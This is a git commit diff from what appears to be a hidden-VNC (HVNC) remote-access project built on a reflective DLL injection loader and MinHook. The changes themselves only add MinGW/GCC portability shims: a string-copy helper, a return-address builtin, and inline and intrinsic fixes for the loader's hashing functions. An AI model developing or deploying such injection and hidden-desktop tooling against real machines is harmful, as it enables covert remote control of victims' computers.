hopefully final?

This commit is contained in:
KingKDot
2026-03-12 00:29:25 -05:00
parent cfa45fb56b
commit c72cba093c
5 changed files with 69 additions and 14 deletions
+19
View File
@@ -11,8 +11,27 @@ extern "C" {
#include <stdio.h>
#include <string.h>
#ifdef _MSC_VER
#pragma comment(lib, "libMinHook.x64.lib")
#pragma comment(lib, "ntdll.lib")
#endif
// Portable secure string helpers for MinGW compatibility
#ifndef _MSC_VER
#ifndef _HVNC_PORTABLE_CRT
#define _HVNC_PORTABLE_CRT
static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *src, size_t count) {
if (!dst || dstSize == 0) return;
size_t toCopy = (count < dstSize - 1) ? count : dstSize - 1;
size_t i;
for (i = 0; i < toCopy && src[i] != L'\0'; i++)
dst[i] = src[i];
dst[i] = L'\0';
}
#define wcsncpy_s(dst, dstSize, src, count) _hvnc_wcsncpy_s((dst), (dstSize), (src), (count))
#define sprintf_s(buf, size, ...) snprintf((buf), (size), __VA_ARGS__)
#endif
#endif
// Global search and replacement strings (filled from parameter)
static WCHAR g_SearchString[512] = { 0 };
+4 -1
View File
@@ -47,8 +47,11 @@ RDI_NOINLINE ULONG_PTR caller(VOID)
{
#ifdef _MSC_VER
return (ULONG_PTR)_ReturnAddress();
#elif defined(__GNUC__) || defined(__clang__)
// For MinGW/Clang, use GCC builtins and extract helper for target-specific safety.
return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0));
#else
return (ULONG_PTR)__builtin_return_address(0);
return 0;
#endif
}
//===============================================================================================//
+14 -2
View File
@@ -31,7 +31,14 @@
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#ifdef _MSC_VER
#include <intrin.h>
#else
// MinGW/GCC: _rotr lives in <stdlib.h>, __readgsqword in <intrin.h>
#include <stdlib.h>
#include <intrin.h>
#endif
#include "ReflectiveDLLInjection.h"
@@ -58,14 +65,19 @@ typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
#define HASH_KEY 13
//===============================================================================================//
#ifdef _MSC_VER
#pragma intrinsic( _rotr )
#define RDI_INLINE __forceinline
#else
#define RDI_INLINE static inline __attribute__((always_inline))
#endif
__forceinline DWORD ror(DWORD d)
RDI_INLINE DWORD ror(DWORD d)
{
return _rotr(d, HASH_KEY);
}
__forceinline DWORD hash(char* c)
RDI_INLINE DWORD hash(char* c)
{
register DWORD h = 0;
do